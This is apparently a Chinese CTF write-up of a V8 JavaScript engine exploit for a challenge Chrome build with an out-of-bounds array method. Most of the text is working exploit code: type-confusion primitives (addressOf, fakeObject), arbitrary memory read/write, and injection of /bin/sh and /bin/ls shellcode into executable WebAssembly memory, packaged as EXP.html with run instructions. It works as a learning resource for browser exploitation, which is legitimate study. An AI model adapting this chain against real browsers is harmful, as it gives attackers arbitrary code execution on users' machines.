var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18n-0x1n);
var functionData = read64(sharedInfo+0x8n-0x1n);
var instanceAddr = read64(functionData+0x10n-0x1n);
var memoryRWX = read64(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

// /bin/sh
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(56);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n - 0x1n;
write64(buf_backing_store_addr, memoryRWX);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

funcAsm();

chrome

把shellcode换成/bin/ls

可以用pwntools写一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#shellcode.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'

shellcode='''
push 0;
movabs rbx, 0x00736c2f6e69622f;
push rbx;
mov rdi, rsp;
push 0x736c;
mov rbx, rsp;
push 0;
push rbx;
mov rsi, rsp;
xor rdx, rdx;
mov rax, 0x3b;
xor r10, r10;
syscall
'''
shellcode=asm(shellcode)
print disasm(shellcode)
print len(shellcode)
print shellcode.encode('hex')

1
2
3
4
5
6
7
8
9
//sys_execve('/bin/ls', argv, 0)    argv = {"ls", 0}
var shellcodeArray = [
0x6e69622fbb48006an,
0xe789485300736c2fn,
0xe389480000736c68n,
0x3148e6894853006an,
0x0000003bc0c748d2n,
0x909090050fd2314dn
]

把这个shellcode换进EXP里,再把exp.js放入一个html的<script> </script>标签中,用题目给的Chrome带上--no-sandbox选项以无沙箱模式打开就可以啦。

EXP.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<script>

/*---------------------leak object and fake object---------------------*/
var obj = {loveyou:"sunxiaokong"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

//leak an object pointer
function addressOf(target)
{
objArray[0] = target; //put the target object into the object array
objArray.oob(mapFloatArray); //modify the map pointer of objectArray
//to the map pointer of floatArray
//then v8 would treat objArray[0] as a float
let ret = objArray[0]; //return the object's pointer as a float
objArray.oob(mapObjArray); //modify the map pointer back to the original
return f2i(ret);
}

//fake a float as an object pointer
function fakeObject(target)
{
floatArray[0] = target; //put the target float into the float array
floatArray.oob(mapObjArray); //modify the map pointer of floatArray
//to rhe map pointer of objectArray
//then v8 would treat floatArray[0] as an object
let ret = floatArray[0];
floatArray.oob(mapFloatArray); //restore the map pointer of floatArray
return ret;
}

/*----------------------------type convert----------------------------*/
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

//convert 64bits float to unsigned int
function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

//convert unsigned int to 64bits
function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

//convert int to hex
function hex(x)
{
return "0x" + x.toString(16);
}

/*------------------------arbitrary address read------------------------*/
var floatArrayAddr = addressOf(floatArray);
var eFloatArray = floatArrayAddr - 0x28n;
var myFakeArrayAddr = eFloatArray + 0x10n;
var myFakeArray = fakeObject(i2f(myFakeArrayAddr));
floatArray[0] = mapFloatArray; //fake the target as an array

//arbitrary address write
function write64(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n); //fake elements pointer to target addr
myFakeArray[0] = i2f(value); //write value to the target addr
// console.log("[*] write to " +hex(addr) + " : " + hex(value));
}

//arbitrary address read
function read64(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n); //fake elements pointer to target addr
let data = myFakeArray[0]; //read value from the target addr
//console.log("[*] leak " +hex(addr) + " : " + hex(f2i(data)));
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;
function write64Dataview(addr, value)
{
write64(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

/*------------------------------write shellcode------------------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18n-0x1n);
var functionData = read64(sharedInfo+0x8n-0x1n);
var instanceAddr = read64(functionData+0x10n-0x1n);
var memoryRWX = read64(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

// sys_execve('/bin/ls', argv, 0) char *argv[] = {"ls", 0};
var shellcodeArray = [
0x6e69622fbb48006an,
0xe789485300736c2fn,
0xe389480000736c68n,
0x3148e6894853006an,
0x0000003bc0c748d2n,
0x909090050fd2314dn
]
var data_buf = new ArrayBuffer(56);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n - 0x1n;
write64(buf_backing_store_addr, memoryRWX);
data_view.setFloat64(0, i2f(shellcodeArray[0]), true);
data_view.setFloat64(8, i2f(shellcodeArray[1]), true);
data_view.setFloat64(16, i2f(shellcodeArray[2]), true);
data_view.setFloat64(24, i2f(shellcodeArray[3]), true);
data_view.setFloat64(32, i2f(shellcodeArray[4]), true);
data_view.setFloat64(40, i2f(shellcodeArray[5]), true);

funcAsm();

</script>

控制chrome打开GUI应用的问题

刚才用的是/bin/ls来进行漏洞利用的验证,其实我也试过比如execve('/usr/bin/gedit')打开图形化应用,但是会报错

好像是和execve()的第三个参数envp[]有关,暂时还没有解决这个问题。。

总结

总结以上漏洞利用过程:

1
数组越界 -> 读写map指针 -> 类型混淆 -> 任意地址读写 -> WASM执行Shellcode/劫持free_hook
  1. 存在数组越界漏洞
  2. 通过能够读写一个对象的map指针
  3. 通过读写map指针,能够做到对象类型的混淆、伪造。
  4. 通过将一个地址伪造成对象,实现了任意地址读写。
  5. 通过WASM写入并执行Shellcode或劫持free_hook完成最终利用

可以看到,比较关键的步骤在于类型混淆这里,这就要求对v8中JS对象的实现、内存布局等有一定的了解。

0%